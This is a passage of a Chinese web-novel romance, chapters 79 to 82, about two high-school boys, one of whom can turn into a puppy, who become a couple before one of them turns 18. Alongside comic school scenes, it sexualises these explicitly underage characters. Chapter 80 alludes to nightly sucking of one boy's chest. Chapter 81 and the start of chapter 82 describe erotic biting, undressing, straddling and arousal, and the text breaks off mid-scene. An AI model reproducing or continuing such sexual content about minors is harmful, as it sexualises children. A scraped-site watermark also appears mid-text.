韩季京学东西快得很。虽然刚开始接触舞蹈时费了点时间,但他身体协调性极好,动作看一遍就能模仿个八九不离十。拍视频基本都是一条过,连方宁司这种挑剔的人都很少让他重来。 三遍后,方宁司满意地收了手机。 隋霖手腕上的电话手表一直在震动,方宁司刚喊"okay",他就说要去趟校长室。临走前往韩季京手里塞了把水果糖。 韩季京把蓝色的剥开放进嘴里,往下看了眼,说:“你兜里有东西在响。” “……没事。”方宁司熟练地摁断电话。 过了几秒,他叹气说:“好吧,其实没分手。而且他是保送生,也不用参加高考……但我是真想分,精神有问题就不说了,长得也实在不是我的菜。” 方宁司之前的对象都是那种长相精致的小鸟依人型一米七男子,现在谈的这个……他沉痛地拍拍韩季京的肩:“长太帅的我实在接受无能,两个人里帅的有我一个就行了。” 韩季京咬着糖问:“那你还和他谈了半年?这不对吧哥们,也不像是你的性格啊。” “他粉丝两百万啊,”方宁司说,“麦麸蹭蹭热度多正常的。” “所以你跟喻修越到底谈没谈啊,我实在好奇。” 韩季京把糖咬碎:“十八年亲兄弟说这……” “哥们,兄弟哪有像你们这样的?还亲兄弟,咱两是兄弟吧,你来跟我亲一个?” 韩季京想想说:“但我和显眼包就会亲诶。”尤其是在小学,喻修越每天都给他带小蛋糕,他每天都会亲喻修越。 方宁司:“……” “既然你说是兄弟就可以,那你过来亲我好了,我倒要看看……” 韩季京看傻子一样看他,打断道:“先不说你有对象,我只是这样说,又不是真的什么都不懂。” 他只是懒得思考。 但是这样一想,虽然说有记忆起就一直在一起,但是好像都是他缠着喻修越。 不管是要他陪自己干什么,还是想要什么东西,喻修越从来没有向他提过什么要求,他会不会其实嫌自己很烦,所以最近帮忙都开始要求等价互换,其实是想要划清界限…… 可是喻修越不和他一起的话,那要和谁一起?他们一起长大,形影不离,好兄弟就是这样的啊,他喜欢和喻修越待在一起,谈不谈恋爱又有什么区别,反正都是他们两个人。 这实在太过复杂,比英语阅读题还要难读,韩季京思绪混乱大脑过载,“砰”地一声变成小狗。 眼前冷不防表演大变活狗,方宁司愣在那里,手机啪嗒掉在地上:“……不是……哥们……你……狗……我靠啊!” 衣服散落一地,黑白色小狗从里面费力地扒着布料探出一颗毛茸茸的头,被灌木根绊得踉踉跄跄,一个没站稳,斜斜地倒在衣服上。 咕噜噜滚过一圈,然后撑着小短腿爬起来,咬着把挡路的东西甩到一旁。 紧接着,他一个冲刺向方宁司狂奔而去,结果冲过头撞到假山,"咚"地发出很大的闷响,顿时立在那里不动了。 方宁司捡起手机,对准还在发晕的小狗,憋笑有点困难:“等你变回来,我一定要反复播放这一段……” 大耳朵小狗似乎是听懂了他的话,恶狠狠地叫了一声,用力甩了甩耳朵,回头一个扒拉,扑过来把爪子挂到他裤子上。 “……这好笑吗?” 喻修越的声音突然从旁边插了进来。他不知什么时候站在了假山另一边,目光扫过方宁司举着的手机,最后落在那只黑白色的小狗身上。 “我只看到有只狗,”喻修越开口说,“请把狗给我。” 第79章 喻修越提溜着黑白色小狗命运般的后颈皮, 罩在校服外套底下,拐进了假山旁边废弃的图书馆里。 大门没有锁,积灰的书架上什么都没有, 奶牛小狗在空中胡乱挥了挥黑色的爪子,突然觉得有些不对。 喻修越先是评价说方宁司一周谈八百个对象逢人就说亲一个有些太不正经,再问韩季京什么时候和他有经常亲, 最后慢悠悠地总结概括,说韩小点心你是个笨蛋。 大耳朵小狗眼前一片漆黑,只有喻修越不紧不慢的话语36D在耳边环绕, 用超绝大的嗓门汪汪叫了一路, 不满地心想他怎么就成笨蛋了。 他韩季京可是堂堂物理单科年级第一,超越全校百分之九十九的纯种人类,怎么能和这个词沾上边。 他是笨蛋的话, 那考不过他的人是什么,是连小狗都不如的大…… “变回来。”年级第一说,“建国后不允许在学校成精。” 韩季京从校服外套里把自己刨出来,直起身体去扒拉他的裤腿, 再一个飞跃撞进喻修越怀里。 建国后不允许成精是谁说的, 他看方宁司穿得花里胡哨的,没准说不定还是孔雀成精。 而且他怎么变成的人, 隋霖能表演大变活人他也可以,那为什么喻修越就没有耳朵, 为什么他可以变成…… 再思考下去就cpu过载成为热狗点心,韩季京一爪子把喻修越的手拍到一边,绕着他同手同脚地转了两圈,一个转身,突然直直地向布满灰尘的垃圾堆里冲去。 行动未果, 立刻被喻修越一把抓住制止了。 喻修越找了个干净的地方让他变回来,韩季京磨磨叽叽地穿衣服,刚把头从短袖里伸出来,就听到他说:“下下周我就成年了。” 韩季京当然知道啊,他这个周末就和妈妈一起去给他看山地车。 下周四周五期中考、下下周运动会,喻修越算上学早的那一批,十八岁刚好和运动会开幕式在同一天。 韩季京观察他的神情,突然凑近说:“显眼包,你在想什么?因为不能再享受未成年人优待,所以现在比较惆怅吗?往好处想,至少你长大了诶。” “我在想东西吗?”喻修越扶了扶眼镜,笑起来,特意加重了中间字词的音节,“我只是在想,韩小点心,你是不是实际年龄比我要大一些。” 韩季京只是身份证上登记的小三个月,具体年龄如果算上没变成人的时候,那还要比他大七个月。 不过跨物种的年龄本来就不能这么算。韩季京听到后半句话,眼睛顿时一亮:“对啊对啊,这么一说那我就是你哥了啊!快叫我哥哥!” 喻修越表情瞬间变得微妙:“这就不要了吧。” 韩季京手忙脚乱地套好衣服,一个飞扑挂到他身上,胳膊牢牢环住他的脖子,瘪嘴说:“你提出来的诶,你要耍赖吗?!” 喻修越学他的说话方式:“对啊对啊,反正你比较笨嘛。” 他到底哪里笨了。 韩季京从晚自习第一节开始就用行为表达不满,整整一节课给他传了十三个纸飞机,上面画满了黑白色小狗转圈圈,放学路上更是变本加厉,滑滑板时书包带非要缠住他手腕,过马路时突然拽他衣角,连电梯按钮都要抢着按。 生动表演了一番什么叫‘你不给我说清楚我就一直骚扰你’,结果最后纠缠到完全忘了自己本身在纠结什么。 等到精力充沛的韩季京终于歇息下来,躺在沙发上安安分分地看动漫,喻修越端着果切走过来,把倒了一地的东西一个一个扶起来重新放好,开口说:“世界上哪里有你这样的小狗?” “那世界上有什么样的小狗?”韩季京叼着酸奶袋子,警惕地拿尾巴疯狂抽沙发,“难道有了我还在想其他狗吗? “拜托,它们有我好吗?和我一样可以变成人吗?还是比我聪明……所以你就是嫌弃我笨吧显眼包!” “我有说你脑子笨吗?”喻修越语速慢条斯理,“笨蛋只是一个形容词。” 韩季京在沙发上打滚,从沙发那一头咕噜噜滑到这一头,再咕噜噜滑回去:“那我不管诶——你得顺着我说,你只能说我聪明!说我是最好的……意思是要说我是全世界最最最聪明的小狗!”他抬起头强调道,“得说三遍!” 喻修越站过去拽住他的尾巴尖:“那小狗喜欢我吗?” 韩季京哼唧道:“我当然喜欢你啊!” 喻修越顿了下,问:“那你喜欢隋霖吗?” “喜欢啊。” “……方宁司呢?” “我都喜欢啊。”韩季京觉得喻修越比他还笨蛋,他只是和每个人都自来熟了点,不影响喻修越是最特殊的那一个,茶色的眼睛透着认真,“和喜欢爸爸妈妈是一样的,但是我只会和你在一起诶,这个是不一样的。” 喻修越慢吞吞地问:“我哪里不一样?” 韩季京沉思道:“因为世界上只有你一个显眼包?” 这个外号还是小学时喻修越太出名得来的,毕竟小孩哥人群中毫不留情怼老师的壮举过于瞩目。韩季京翻了个身,把酸奶袋子扔到垃圾桶里,再叉了一块水果塞进嘴里,嚼完后,磨磨蹭蹭地凑过去,把衣服叼进嘴里问:“那……” 喻修越在他把话说出来之前开口,无意识敲了敲手机壳说:“正因为是亲兄弟,所以才需要明算账啊。” 可眼前的这只狗似乎根本就没有去听他的话,自顾自地拉着他的手放到自己身上毛茸茸的脑袋压下来,黑色的卷毛蓬松又柔软,像是被风揉乱的棉花糖云朵。 喻修越轻轻捏了捏,指尖就陷下去,触感已经完全变得不一样。手下的身体微微瑟缩一瞬,似乎是随着年龄的增长,到达一定时期时,身体自然而然也同时开始自动做出准备,连皮肤都变得比以前更敏感。 哪方面的准备,需要和恋人一起进行的……也可能不是恋人,口头的称呼谁都能给予,在大部分人中,情感的双向选择已经变成一种奢侈品。 喻修越想,自己背书很快,需要记忆的课文或者公式,基本上读几遍就能背过,智商超群、情绪稳定,所以父母常年安心地把他一个人留在家里。 林晓佳早上已经把答案说出来,喻修越觉得自己是不是又有些沉不住气,但他怎么说也只是个还没到十八岁的普通高中生,种种因素叠加在一起,也不可能一直保持百分百纯粹冷静的心理。 而且现在拐弯抹角地和韩季京说话有点费劲。 “我最近查阅了一些资料,”喻修越单手滑动手机屏幕,一目十行地看过去,挑挑拣拣去掉里面的专业名词,读完后总结道,“……快要成年的话,意思是发——情期也会跟着一起到来。” 只不过韩季京身体发育的方向和那些资料里的都有些不一样。 句子好长韩季京懒得听,反正喻修越搞懂了就可以他就没必要了吧。于是甩了甩尾巴,歪头时的表情分外无辜:“可能?” 喻修越卷起他的耳朵问:“你打算怎么办?” “和你一起啊,”韩季京不理解他为什么这样会问,除了喻修越就是喻修越啊,还会有第二个选项吗?从哪里突然蹦出来。 难道是要他自己提出来吗……韩季京的思维在脑海里滚了一圈,最后震惊道,“这个不会也要收费吧?!” 喻修越沉默了下,墨蓝色的眸瞳有些看不真切,半晌缓慢地开口:“……这个不用。” 是不是又想说自己是笨蛋,韩季京拿牙齿咬了咬衣服,有点莫名其妙地觉得委屈,越想越发现喻修越有点过分。 黑色的耳朵都控制不住地快速起立又垂下,韩季京先发制人,超大声胡搅蛮缠道:“那我就是笨蛋那怎么啦!你不能忽视我,也不能不喜欢我,更不能不理我,我说话你就要回应我!不然我就缠着你黏着你疯狂闹你把你烦得要死掉!” “不一直是这样的吗?”喻修越把手机扔到一旁,校服外套的布料在动作间被压出一道褶皱,抬眼时语气平静得近乎温柔,“我知道的啊。” 韩季京松开嘴里的衣服,想到方宁司的话,又眨着眼睛说:“那你会亲我吗?” 喻修越点点头,如此说道:“好兄弟是会这样的。” 话虽如此——“我和始皇秦不会啊。”韩季京眉毛拧成一团,发现了这一切的根源,“跟邱扬北就更不会了啊!所以我们不是好兄弟啊。” “我知道了!” 韩季京突然直起身体,茶色的眼睛在灯光下流着狡黠的光:“你好坏啊显眼包!你是不是就等着我说这个……”他凑近了点问,“那我们谈恋爱的话,你还会这样明算账吗?” 喻修越嘴角浅浅弯了下:“你猜?” “那我们现在开始就是在谈恋爱了!”韩季京单方面宣布这件事情的结果,就和把糖果的彩色糖纸拆开来放进嘴里咬碎一样轻松,随即趴过去拽他的衣袖,眼睛亮晶晶的说:“所以你快点……” 喻修越看着他,轻轻“嗯”了一声,随后接着他之前那句话说:“你是世界上最聪明的小狗?” 第80章 世界上最聪明的狗也得期中考试。 第一场语文最后一场英语, 按年级总成绩排考场,他们班三十六个人都在第一考场,放眼望过去全是熟悉的脸, 就像是在进行普通的一次随堂测试。 秦皓璜跟韩季京上次月考分别排名班级倒三倒四,考场座位是前后桌。前者从没有临阵磨枪看书复习的习惯,腿一伸踩住韩季京凳子的横梁, 问:“突击查询!明天去哪里玩?” 韩季京懒洋洋地靠在那里,身上亮红色的短袖松垮垮,卷毛散乱地在后颈处乱翘, 闻言腰一扭, 扶了下黑框眼镜侧过半个身体。 “玩什么啊,”他把胳膊也搭在身侧冰凉的暖气片上,转着手心里0.5毫米的黑色中性签字笔说:“我得去赚钱给显眼包买生日礼物诶。” 周六奖金和视频出镜费到手, 周天就能直接去线下店看,晚上卡点送给喻修越,简直没有比这更完美的生日礼物了。 “周六、周日、下周一……你对象生日礼物我还没开始准备,”秦皓璜苦着脸说, “你打算送他什么, 哥们借鉴借鉴?” “折的星星折纸。”韩季京反应了一下,歪头瞥他, 笔尖在指间划出细小的弧光,嫌弃道, “这不对吧,你肯定不能和我送一样的啊。” 男朋友和朋友送的肯定需要分开。 没什么比周一来学校兴高采烈跑去向好哥们打招呼、结果人家从滑板上跳下来,转头挂到另一个人身上撒娇说“显眼包你亲亲我”更让人扎心。而且秦皓璜最不擅长给人送礼物,头疼道:“那我再想想,旋转音响、商务手表、游戏机……能用钱买到的他肯定都有, 不行啊,老子纠结症都要犯了。” 韩季京“嗯嗯”两声,说那心意到了就可以了啊,指间的笔转得飞快,满脑子都是自己明天一举夺冠后风光无限的卓越身姿。简直越想越得意,手上的动作也不由得越来越飘,结果一个没控制住,“嗖——”的一声,直直地甩到了刚走过来的第二个监考老师后脑勺上。 眼睁睁看着中性笔在空中划出一道完美的抛物线,韩季京立刻缩回手,若无其事地转回身,从兜里重新摸出一支笔,看了眼最前面的钟表还有三分钟开考,在心里为自己的准星比了个大拇指。 秦皓璜全程目睹他犯罪的全过程,在砸到老师的那瞬间不知道想到什么,突然灵光一闪:“有了!” “有什么,有喜了?”老师冷着一张冰块脸走过来,把笔捡起来按在秦皓璜桌子上,呵呵说:“再扰乱考场纪律就滚出去。” 韩季京在座位上扮演乖宝宝,在老师转身后,偷偷背着手朝后面探过去,把自己的笔摸了回来。 在讲台上老师“所有人都出去排队”的声音中,秦皓璜站起来凑到韩季京耳边,看了眼第一排还没走完就已经重新进来的喻修越,压低声音说:“那我送你一套裙子穿给他看,算不算给他送生日礼物啊?” “反正过几天运动会的话肯定有女装,”秦皓璜觉得自己简直太聪明了,“你还不用再买,这波立省百分百啊!” 韩季京虽然对自己全方位各方面都极度很有自信,但性格来说一向是喜欢搞事情看别人女装的那个:“…我很好奇啊,怎么运动会就和我女装扯上关系了?” “现在的人都喜欢看反差你懂吧?”秦皓璜跟他讲道理,“举牌子的肌肉猛男女仆装有点太超过了,你这种高个帅气男子就刚刚好。” 去年运动会开幕式,他们学校高二有体育生穿着女仆装跳女团舞,按道理来说锻炼有型的身材应该会别有一番风味,但那三个人是练铅球的重磅嘉宾,最终成果完全是一场堪称魔幻的现场表演。 可惜那会儿韩季京沉迷于特摄,在三十三度的大热天穿上最喜欢的皮套跟着班级方阵堂堂登场,没一会儿就在大庭广众之下表演了一个什么叫帅气皮套人晕倒,被喻修越拽去校医务室,完整地错过了他们的登场。 一年过去,韩季京爱好已经变换:“嗯…我可以给全校师生表演如何技艺高超地玩扑克牌。” 好像话题拐到了另一个地方,秦皓璜把书塞进书包,站在队伍最后面说:“等等,不是……我一开始是说给你对象的生日礼物?” 韩季京随便把复习资料扔到走廊里的桌子上。喻修越在里面透过窗户望过来,单手支着下颌,屈起手指,在窗玻璃上轻巧地点了点,视线穿过素色的玻璃,精准落到他的身上。 “我脸上有什么吗?”韩季京下意识用手背蹭了蹭自己的脸,难道是灰尘还是什么?他转头摸出裤子兜里的东西,一个花花绿绿的圆形卡通镜子,打开看到自己的脸也很正常。 秦皓璜上下左右看了一圈,顺着他的话回复说:“什么都没啊。” 过了几秒他反应过来,盯着韩季京手里的小镜子,神色疑惑道:“……这哪来的啊?你什么时候还自带镜子了?” 韩季京不在意地挥挥手:“方宁司落我这的,我用用怎么了?” 而且小狗不可以自恋吗?他简直是世界上最完美的小狗:“你说我是不是又帅了?”没等秦皓璜回答,韩季京就自顾自点头,“嗯,显眼包看一眼就会给我很多的钱。” 秦皓璜看着他把潮男必备物品塞回去,嘴角微抽:“…韩小点心,你真的被你那哥们带抽象了。” 韩季京擅长把任何其他人的反馈都当作是对自己的赞扬,点头道:“我知道的啊,你的意思是在觉得我帅。” 第一场语文,轻飘飘写完;下午第一场数学,秦皓璜奋发图强;第二场化学,过;第二天早上的物理,韩季京多亲一下;生物,过;下午的英语,求听力再放一遍教程…… 考完最后一门英语就直接放周末假,韩季京行云流水般答完六科试卷。英语终考铃响的刹那,最后一排的人秒速站起来从后往前收卷。 等到卷子一被拿走,韩季京就从座位上弹起来,把两支笔和橡皮随便塞进裤兜,跳起来撒欢一样蹿出了后门。 走廊的阳光正好,他眯着眼往前门跑,弯曲的发梢都一蹦一跳地扬起来。喻修越正提着两个款式相同的挎包站在前门口,连影子都被拉得笔直。 韩季京一个箭步扑过去,把自己挂到他背上,任由他把鸭舌帽扣到自己脑袋上,胡乱蹭了蹭说:“英语好难啊显眼包,我这次再卡在及格线上,你是不是还要说我是笨蛋诶?” 喻修越把他扔到桌子上的书塞进包里,扬起唇回复:“小狗听不懂外国话很正常啊,怎么会是笨蛋。” 韩季京非常认同地点点头,又想起来一个考试的重量级选手,“那隋霖这次还会是六十分吗?他好厉害。” “人才的话,”喻修越慢悠悠接话,“总分加起来应该能过一百吧。” “哇塞,一个月提升四十多分……”想说的话不过一秒就被韩季京忘记,他眨眨眼睛说,“哥哥,我想吃小蛋糕。” 喻修越稳步向前走,点点头:“想吃小蛋糕,然后呢?” 然后的意思是一物换一物,韩季京收到指令,旁若无人地“吧唧”一口亲到他脸上,被带着往前走时声音有些黏糊糊:“然后显眼包给我买了耶。” 喻修越“哇塞”一声,慢吞吞地开口:“显眼包这么好的吗?想要就会给你买。” “对啊对啊,显眼包就是特别好诶。”韩季京兜比脸还干净,拽住他的衣袖,被束胸勒住的地方鼓囊囊,紧贴到喻修越的脊背,半晌又迟疑地说,“……而且还会无偿帮我?” 没有两块钱酬劳费,但是喻修越这一周每天晚上都弄得他好难受,到最后什么东西都吸不出来还要咬着不放,韩季京每次都想不要他再帮自己,可涨着难受时,还是没忍住眼泪汪汪地去找他。 邱扬北站在他们身后评价:“我这一周都仿佛见到了两个认不识的人。” 寸头猛男秦皓璜把书包单手甩到左肩上,随意一瞥:“谈恋爱了就是这样,你个无性恋你懂什么?” 邱扬北呵呵道:“……我们无性恋就是这样高贵。高贵到周六整日与书籍为伴。” “我们异性恋周六也看书……”秦皓璜说到一半觉得被绕进去了,“邱扬北你有病吧,这跟性向有什么关系?!” 人性恋的韩季京周六没看书。 他在喻修越的陪伴下拿到地方性商业赛冠军,然后周天再背着他和妈妈去线下店看山地自行车。 他选来选去,最后挑了一个一万出头的专业级山地车。没等送给喻修越,自己先骑上去绕着对面公园转了两圈。 反正喻修越的就是他的,他掏钱买来,替喻修越试试手感多正常。 除了在疾驰中不小心把路边半截枯树枝卷进车轱辘里咯吱了一路、以及在过弯时与墙面亲密接触而导致局部小小掉漆外,一切都非常完美。 不错不错,他只是在试验这辆车的耐造性而已,检测结果标为合格,韩季京喜欢这辆车。 他骑着车绕了两圈,又转回自行车店门口。一米八五的长腿一伸,鞋底蹭着地面稳稳刹住。看一眼时间是下午四点半,喻修越周末都要在培训机构上课,还有半小时就下课。 妈妈笑意盈盈地问:“你要去接他下课吗?”她指了指那辆崭新的自行车,“我带你过去,刚好把车一起带给他。” 山地自行车可以折叠,但上面只有一个座位,韩季京摇摇头,他去接喻修越的话,回来喻修越坐哪里?难不成坐空气上面吗? 他想了想,说:“我回家等他好了。”魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 80-90 第81章 虽然和妈妈说的是回家等喻修越, 但山地自行车的脚踏一蹬,韩季京还是直直地朝着培训机构的方向前进了。 他身上穿着绀蓝色的DK制服短袖,下摆随意掖进不及膝的裤裙里。高挑的身形把那条带褶皱的短裤穿得尤为好看, 腿长得几乎有些嚣张,从裤管裸-露出来的线条干净利落,弯曲时在阳光下泛着健康的光泽。 机构和自行车店百度路途需要骑行二十四分钟, 迎面吹过来的风带着暖意。 韩季京单手握着车把,另一只手拿着在路边摊随手买的淀粉肠,一边塞进嘴里一边向目的地飞驰而去。 脑海里计划的是熬到零零点零零再把礼物给喻修越, 但新车到手, 他完全按捺不住,只要想到送出去的画面,就迫不及待地立刻想要收到夸奖。 车座只有一个, 韩季京脑补了一下自己在前面骑车,喻姓高中生在后面奋力追着跑的画面,一边握着车把手一边笑,莫名其妙地瞎乐了大半天, 然后发现目前为止, 好像没怎么见过喻修越跑步。 对方在初中也是不用上早操的特殊人群,做什么都不紧不慢, 课间操时靠在走廊慢吞吞喝水,体育课坐在树荫下翻书, 连交卷都是最后一个起身。 那种浑然天成的疏离感,就像有层看不见的玻璃罩,天生就自带冷静气场,在其他人眼里就如同生活在两个世界。 韩季京之前还被关系不错的人问过是怎么和喻修越玩到一起的。 毕竟他本人是大写的、需要人顺着他的热情自来熟,但后者乍一看气场跟凡人有壁, 只看脸才会觉得好相处,但太好学生的长相会类似于动漫里的眯眯眼反派角色,幻视满肚子坏水。 如果不是从一出生就生活在一起,第一印象来讲,应该不是他会交朋友的类型。 韩季京在熟悉的大门前再次进行脚刹,专门停在了小摊旁边,买了一份章鱼小丸子和一碗炸馍,掏出手机给喻修越拍照,报备自己今天也有吃饭前小零食。 退出界面,手指一滑,看到邱扬北在四人小群里发消息,说和林晓佳他们一起集资买了一个10寸蛋糕,刚好运动会不上课在教室分了吃。 秦皓璜在其中着重强调:【我个人出资占比足足高达百分之四十五。】 我有一副透视镜:【过生日不给寿星送礼物,你多付点怎么了?】 宇宙无敌暴王龙战士:【给@小心地滑送就是给他送,你个单身狗你能懂什么,老子都不乐意理你!】 我有一副透视镜:【TD,讲的跟你丫有对象一样】 韩季京替秦皓璜回复:【他有啊他有啊,他对象是斯乐蒂妮!】 我有一副透视镜:【……】 我有一副透视镜:【Otaku, get out of my world!】 宇宙无敌暴王龙战士:【第一个词毛线意思,骂我?邱邱人数学考多少啊,别拽你那外语了行不?】 群里的大战一触即发,韩季京把章鱼小丸子塞进嘴里,手指刚煽风点火地在键盘上敲出"邱扬北骂你是傻登",突然心头一动,下意识抬头,喻修越的身影正好刚刚拐过折叠门。 他骑着山地车猛地冲了过去,大声喊道:“显眼包——” 冷不丁一坨看不清是什么的玩意就朝自己狂奔而来,和喻修越一起出来的同伴连忙向四周躲避,瞧着他还跟没事人一样站在那里,急忙道:“喻哥,他好像没看到有人,你……不对怎么就是朝着我们这来的啊啊啊啊啊!!” 他瞬间摆出两张惊恐脸,却看到那人猛地捏紧刹车,轮胎在地面擦出一道漂亮的弧线,帅气且稳当地横在喻修越面前。 来者单脚撑地,另一条长腿还跨在车架上,仰头时发梢都跟着蓬松地晃动,把车子撑住后,手指得意地弹了下车铃。 “叮”的一声,崭新却掉了一小块漆的山地车在照射下反射着高级的亮光,车把上还系着一个蓝色的蝴蝶结。 同伴惊魂未定的目光从山地车缓缓向前移动,自行车车主顶着一头蓬松的卷发,衬衫扣子有两颗没被系住,制服领带歪歪扭扭地被吹到肩膀上,穿着类似规规矩矩的好少年,但挡不住一身肆意的张扬感。 “喻哥,你认识……” 话说了半截,同伴眼睁睁看着这位帅哥黏糊糊地抱住喻修越,在脸颊亲了一口,撒娇的尾音带着橘子糖般的甜度:“显眼包,你得夸夸我诶!” “特意来接我吗?”喻修越气定神闲,“那想我怎么夸你诶?” 因为小时候开卡丁车把喜欢的老师撞骨折过,韩季京至少还知道自行车不能撞人,特意跳下来才抱住他,想了想说:“你明天过生日,所以可以不给我买蛋糕,那只要说三遍,说我是全世界你最最最喜欢的存在就可以了!” 存在一词就包含了小狗、人类和其他生物,韩季京觉得自己好聪明啊。 “那我呢?”喻修越咬文嚼字地说,“我是不是你…全世界最、最、最喜欢的人?” 韩季京茶色的眸子眨眨眨:“当然是啊!” 喻修越偏过头,这才把目光移向山地车,上下扫视一圈后嘴角翘起来,向同伴点点头说:“我先走了。” 这何止是认识啊,完全不用介绍已经知道是什么关系。 同伴敏锐地捕捉到来者和上次黄裙子女生一样的称呼,恍惚地看着喻修越背着人形挂件,推着山地车向路口走去。 等等,他反应过来,漂亮小姐姐和帅气小哥哥竟然是同一个人——?! 熟悉的汽车停在路边,车身画着黑白色的小狗涂鸦。韩季京缠着他问为什么岔开话题,快点也说全世界最喜欢我,喻修越说着“好啊好啊”,在汽车旁边站定,等她按下车窗后叫人:“妈妈,晚上好。” 韩季京从自行车店分开后就一路只顾着想喻修越,一点也没有发现她跟了自己一路,鼓起单边腮帮子问她怎么在这里。 妈妈扫了眼单座的自行车,笑起来问:“不然你们两个人怎么回家?” 好像是这样。 这个问题在韩季京脑袋里只出现了一瞬间就被抛之脑后。他想,反正世界是圆的,他和喻修越走路也能走回去啊。 妈妈问喻女士还没回来的话要不要来一起住,把她那些花花草草也一起搬过来,可以一起帮忙照料。 这话题在喻女士出国后的每次见面都会被提出来。喻修越小学搬去住过半年,自此养成了一个人生活的强大坚定信念,最多加个韩季京就正正好好,熟练地摇头拒绝,说那些花盆搬来搬去太麻烦。 妈妈弯弯眸子:“那爸爸和我明天晚上也会在家里做蛋糕喔,明天记得和点心一起回来。” 下车时韩季京跟着喻修越一起跳下去,被妈妈叫住:“什么时候回家?明明还没有上大学,感觉我和爸爸就成为了空巢老……” “但是显眼包一个人住很可怜嘛,”韩季京纠结地说,“而且他是我男朋友诶,一个人就更可怜了!” “所以就和男朋友一起回家住啊,”妈妈笑眯眯,“放学回家还可以吃到妈妈做的饭。” 韩季京点点头,下车后被喻修越一打岔,这件事刚开口就被忘掉,但晚上吃完饭过游戏剧情,又记仇地想起了一开始的话题。 和其他人不同,如果有一件东西特别想要,只要想起来,他就是那种不得到就会一直纠缠不放的固执性格。 “你快点说你喜欢我嘛——”韩季京拽着喻修越的衣袖不放,在沙发上打滚,衬衫下摆从裤腰里溜出来,皱巴巴地卷到胸口,露出半边被束胸勒住的胸膛,“我都说最喜欢你了诶,显眼包,你简直是在耍赖!” 喻修越顺势把针织外套脱下来,看着他卷成一团和抱枕一起抱在怀里,装不懂问:“哪里有在耍赖?” “因为我喜欢你,所以你也喜欢我,我都说你是全世界最最喜欢的人了诶,所以我就是我全世界最最最喜欢的人最最最喜欢的……” 韩季京在他耳边“喜欢”“喜欢”“最最喜欢”地说个不停,逻辑越来越绕,喻修越把他衣服扯下来,慢吞吞地纠正:“但是我只是问‘想要我怎么夸你’,没有——” 话语被突如其来微信的通话铃声打断。 韩季京选择让嘴巴歇一会儿,耳朵动了动,听到是哪里发来的声音,从口袋里摸出手机,联系人显示是隋霖打来的。 他抬头看了眼喻修越,见他垂下眼帘也盯着手机看,一键滑动屏幕接听。 “是点心在接通吗?”隋霖那边的声音有些嘈杂,得到肯定的答复后问,“我这次考上四百分的话,可以,邀请你来我家吃饭吗?” 一个月提升三百四十多分,这完全就是超人。 韩季京把衣服团吧团吧揉在一起,由衷佩服道:“你好厉害诶,隋霖。” “嗯,点心也很厉害。”隋霖的声音从手机里传来,“所以,我很喜欢点心。”电话那头停顿了片刻,“老师和你在一起吗?” 韩季京翻了个身,尾巴一甩一甩,把手机推向喻修越。后者把他怀里的衣服和抱枕都抽走,在韩季京抱住自己后,随手点开了手机通话的扩音器。 隋霖继续说道:“……我说考得好,爷爷特意让我转达谢意。"听筒里传来纸张翻动的细响,“你们好像是住在一起……” “嘟——” 通话突然被掐断。喻修越的手指还停留在红色挂断键上方,语气莫名地开口:“我很喜欢你。” 喻修越说这话时没有看他,目光依然盯着已经暗下去的手机屏幕,韩季京还以为他是在回复自己刚刚的要求,茶色的眸瞳亮了亮,抱住他的脖子吧唧一口亲到嘴角:“我也超级喜欢你!” 喻修越看着他,微妙地重复道:“他说,我很喜欢你。” “…你是在吃醋吗显眼包?” 韩季京好像明白了他在想什么,歪了歪头,安静几秒,窝在喻修越怀里用脑袋蹭他:“但是,你是除了爸爸妈妈外的唯一一个。” 这句话说出去,喻修越看起来好像还是不开心。韩季京直起身体,扯开衬衫的扣子让他摸摸自己,束胸的拉链轻而易举就被拉下。 他跟洗衣机滚筒一样甩了甩耳朵,凑过去问:“你生气了吗?” 喻修越没有说话,忽然偏头含住他的耳朵,用齿尖不轻不重地磨了一下,半晌开口:“没有生气。” 大耳朵被放开后变得湿漉漉的,韩季京睫毛颤动一瞬,下意识抓住他的肩膀:“没有生气的话,你咬我的耳朵干什么?” “那我咬哪里?”喻修越忽略前半句话,目光跟着这句话慢条斯理地往下扫,像是真的在认真挑选位置。 韩季京眨眨眼睛,重新抱住他的胳膊,任由他揪住胸口的布料:“你是要我说出来吗?如果觉得生气的话,哪里都可以啊。” 喻修越压低声音:“但是我会把你咬疼。” “没关系耶,”韩季京跨坐在他腿上,尾巴快速地摇起来,说,“如果你不开心,我就让你开心啊。” 第82章 从生物学的角度来看, “开心”是一种由大脑和身体共同调控的复杂情绪状态。 运动后的舒畅感会分泌内啡肽,拥抱时的亲密接触会释放催产素,产生更深的信任与依赖, 带来天然的愉悦感,所以亲吻时会忍不住和面前的人凑得更近一点。 韩季京扫到沙发上翻了页的生物书,那些复杂的名词在此刻具象化成胸膛里莫名变快的心跳, 与杂乱的呼吸映衬在一起,变成咬住唇瓣后留下的湿热触感。 后颈与掌心相贴着的地方像过了电,他感觉到浑身都在发着热, 被碰到的地方好像变得不属于自己。 陌生的情绪一点点渗入脑海, 他闻到喻修越身上混杂着新拆封的宣纸香和一丝若有若无的薄荷味道。 “显眼包、呜…我感觉、有点奇怪……” 韩季京慢半拍地晃了晃脑袋,双手环抱着他的肩膀,被熟悉的气息包裹, 忍不住又往他怀里靠了靠,头脑不太清醒地用大腿并紧存在感明显的事物。 垂落到脸颊的黑色大耳朵被握在手心里一点一点揉捏,韩季京眨眨眼睛,视线落在喻修越鼻梁上架着的眼镜片, 白色的灯光下, 里面反射出自己有些模糊的轮廓。 他在不怎么清晰的镜片上观察自己,人形状的漆黑阴影在上面动来动去, 茶色的两点眸瞳像是雨后的红枫叶般闪着细碎的光斑。 韩季京向左歪头,黑色阴影也向左歪头, 向右时阴影也向右,来来回回往返三次,又什么也看不到了。 喻修越身体后仰,眼镜下的眸瞳泛着天蓝的墨色:“哪里觉得奇怪?” 伴随着这句问话,酥酥麻麻的异样感觉从尾巴根部传来, 韩季京和他贴住的所有皮肤都开始敏感地发颤。 他用湿漉漉的耳朵糊住喻修越的脸,扣住肩膀的手稍微用力,半晌回答说:“…就是感觉、很奇怪诶。” 喻修越挂断电话后看起来不开心。 即将过生日的寿星不能产生这种不高兴的情绪。再说如果心情不好,和小学时一样不愿意摸自己的话该怎么办? 韩季京想着变成小狗窝进他怀里,下意识往喻修越腿上蹭,把从宽松裤裙里探出来的尾巴主动塞进后者手里,期待地问他:“你想要摸摸小狗尾巴吗?” 毛茸茸的尾巴哪怕被塞进手里也止不住地疯狂摇摆,喻修越没有说话,只是用手抓住了毛茸茸的尖端。 